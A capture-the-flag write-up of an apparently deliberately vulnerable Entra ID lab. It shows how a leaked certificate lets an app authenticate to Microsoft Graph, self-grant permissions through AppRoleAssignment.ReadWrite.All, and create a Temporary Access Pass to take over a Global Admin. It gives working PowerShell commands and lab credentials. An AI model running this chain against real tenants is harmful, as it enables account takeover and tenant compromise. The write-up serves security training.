Skip to content
BIG$HA crestBIG$HA
All writeups

EntraGoat

EntraGoat Scenario 2 — Graph Me the Crown (and Roles)

Objective

Gain access to the target administrator account and retrieve the flag from extensionAttribute1.

Initial Information

The scenario provided attacker credentials:

Username: jennifer.clark@neho7890gmail.onmicrosoft.com
Password: GoatAccess!123

Target account:

EntraGoat-admin-s2@neho7890gmail.onmicrosoft.com

The scenario also leaked a Base64-encoded PFX certificate with the password:

GoatAccess!123

Hint:

This cert seems harmless but listen closely. It may speak with someone else's authority.

Step 1 — Reconstruct the PFX Certificate

The hint said the certificate “may speak with someone else’s authority” — that reads like a leaked app credential, so the plan was to find which application trusts this cert and then log in as it. First I decoded the Base64 blob back into a PFX file:

[IO.File]::WriteAllBytes(
  "scenario2.pfx",
  [Convert]::FromBase64String($base64)
)

The certificate was inspected:

certutil -dump .\\scenario2.pfx

Important output:

Subject: CN=Corporate Finance Analytics
Thumbprint: 79F0F2D93ABB5D2A565E17850951895AA17C4644

A certificate is only useful if something trusts it, so I matched its thumbprint against the key credentials of every application in the tenant to find the one it belonged to:

$thumb = "79f0f2d93abb5d2a565e17850951895aa17c4644"

Get-MgApplication -All |
Where-Object {
    $app = $_
    $app.KeyCredentials | Where-Object {
        [System.BitConverter]::ToString($_.CustomKeyIdentifier) -replace "-", "" -eq $thumb.ToUpper()
    }
} |
Select-Object DisplayName, AppId, Id

Result:

DisplayName: Corporate Finance Analytics
AppId: b36d31a3-cdc1-4964-a361-cd22d47643bd

Step 3 — Import the Certificate

The PFX was imported into the current user’s certificate store:

$mypwd = ConvertTo-SecureString "GoatAccess!123" -AsPlainText -Force

Import-PfxCertificate `
  -FilePath C:\\Users\\maldev\\scenario2.pfx `
  -CertStoreLocation Cert:\\CurrentUser\\My `
  -Password $mypwd

Verification:

Get-ChildItem Cert:\\CurrentUser\\My |
Where-Object Thumbprint -eq "79F0F2D93ABB5D2A565E17850951895AA17C4644" |
fl Subject, Thumbprint, HasPrivateKey

The certificate had a private key:

HasPrivateKey: True

Step 4 — Authenticate as the Application

With the cert in my store and the matching app ID, I authenticated to Graph as the application itself:

Connect-MgGraph `
  -TenantId "neho7890gmail.onmicrosoft.com" `
  -ClientId "b36d31a3-cdc1-4964-a361-cd22d47643bd" `
  -CertificateThumbprint "79F0F2D93ABB5D2A565E17850951895AA17C4644"

The context confirmed app-only access:

AuthType: AppOnly
AppName: Corporate Finance Analytics
Scopes:
- AppRoleAssignment.ReadWrite.All
- Application.Read.All

Step 5 — Abuse AppRoleAssignment.ReadWrite.All

The application had the dangerous Graph permission:

AppRoleAssignment.ReadWrite.All

This is the one that unravels everything: it lets the app grant itself additional Graph application permissions. Starting from that single right, I could bootstrap whatever access the rest of the chain needed.

The Microsoft Graph service principal was identified:

$graphSp = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"

The target service principal was identified:

$targetSp = Get-MgServicePrincipal -Filter "appId eq 'b36d31a3-cdc1-4964-a361-cd22d47643bd'"

First I had the app grant itself User.ReadWrite.All, so it could read and modify the target admin user:

$role = $graphSp.AppRoles | Where-Object {
    $_.Value -eq "User.ReadWrite.All" -and $_.AllowedMemberTypes -contains "Application"
}

New-MgServicePrincipalAppRoleAssignment `
  -ServicePrincipalId $targetSp.Id `
  -PrincipalId $targetSp.Id `
  -ResourceId $graphSp.Id `
  -AppRoleId $role.Id

After reconnecting, the application could read the target admin user:

Get-MgUser -UserId "EntraGoat-admin-s2@neho7890gmail.onmicrosoft.com"

Step 6 — Add Role Management Permission

To manipulate directory roles, the application assigned itself:

RoleManagement.ReadWrite.Directory
$role = $graphSp.AppRoles | Where-Object {
    $_.Value -eq "RoleManagement.ReadWrite.Directory" -and $_.AllowedMemberTypes -contains "Application"
}

New-MgServicePrincipalAppRoleAssignment `
  -ServicePrincipalId $targetSp.Id `
  -PrincipalId $targetSp.Id `
  -ResourceId $graphSp.Id `
  -AppRoleId $role.Id

The target administrator was already a member of Global Administrator:

$gaRole = Get-MgDirectoryRole | Where-Object DisplayName -eq "Global Administrator"

New-MgDirectoryRoleMemberByRef `
  -DirectoryRoleId $gaRole.Id `
  -BodyParameter @{
    "@odata.id" = "<https://graph.microsoft.com/v1.0/directoryObjects/51f2db3c-2151-48c9-8551-6f858bc02f64>"
  }

The response showed the object reference already existed.

Step 7 — Add Authentication Method Permission

The first attempt at password reset / TAP creation failed — the app didn’t yet hold any authentication-method permission. Easy fix given the self-grant primitive: I gave it one more role:

UserAuthenticationMethod.ReadWrite.All
$role = $graphSp.AppRoles | Where-Object {
    $_.Value -eq "UserAuthenticationMethod.ReadWrite.All" -and $_.AllowedMemberTypes -contains "Application"
}

New-MgServicePrincipalAppRoleAssignment `
  -ServicePrincipalId $targetSp.Id `
  -PrincipalId $targetSp.Id `
  -ResourceId $graphSp.Id `
  -AppRoleId $role.Id

After reconnecting, a Temporary Access Pass was created for the target admin:

$tapBody = @{
  lifetimeInMinutes = 60
  isUsableOnce = $false
} | ConvertTo-Json

Invoke-MgGraphRequest `
  -Method POST `
  -Uri "<https://graph.microsoft.com/v1.0/users/51f2db3c-2151-48c9-8551-6f858bc02f64/authentication/temporaryAccessPassMethods>" `
  -Body $tapBody `
  -ContentType "application/json"

Result:

temporaryAccessPass: +5v5#5jd
isUsable: True
methodUsabilityReason: EnabledByPolicy

Step 8 — Account Takeover

The generated TAP was used to sign in as:

EntraGoat-admin-s2@neho7890gmail.onmicrosoft.com

After authentication, the flag was retrieved from:

User properties → extensionAttribute1

Attack Path Summary

Leaked PFX Certificate
        ↓
Identify matching App Registration
        ↓
Authenticate as Corporate Finance Analytics
        ↓
AppRoleAssignment.ReadWrite.All
        ↓
Self-assign User.ReadWrite.All
        ↓
Self-assign RoleManagement.ReadWrite.Directory
        ↓
Self-assign UserAuthenticationMethod.ReadWrite.All
        ↓
Create Temporary Access Pass for Global Admin
        ↓
Sign in as EntraGoat-admin-s2
        ↓
Read flag from extensionAttribute1

Key Takeaways

  • Leaked certificates can allow app-only authentication into Microsoft Graph.
  • Application permissions are extremely sensitive and should be monitored closely.
  • AppRoleAssignment.ReadWrite.All is highly dangerous because it can allow an application to grant itself additional Graph permissions.
  • UserAuthenticationMethod.ReadWrite.All can enable account takeover through Temporary Access Pass creation.
  • Service principals should be treated as privileged identities, especially when they hold Graph application permissions.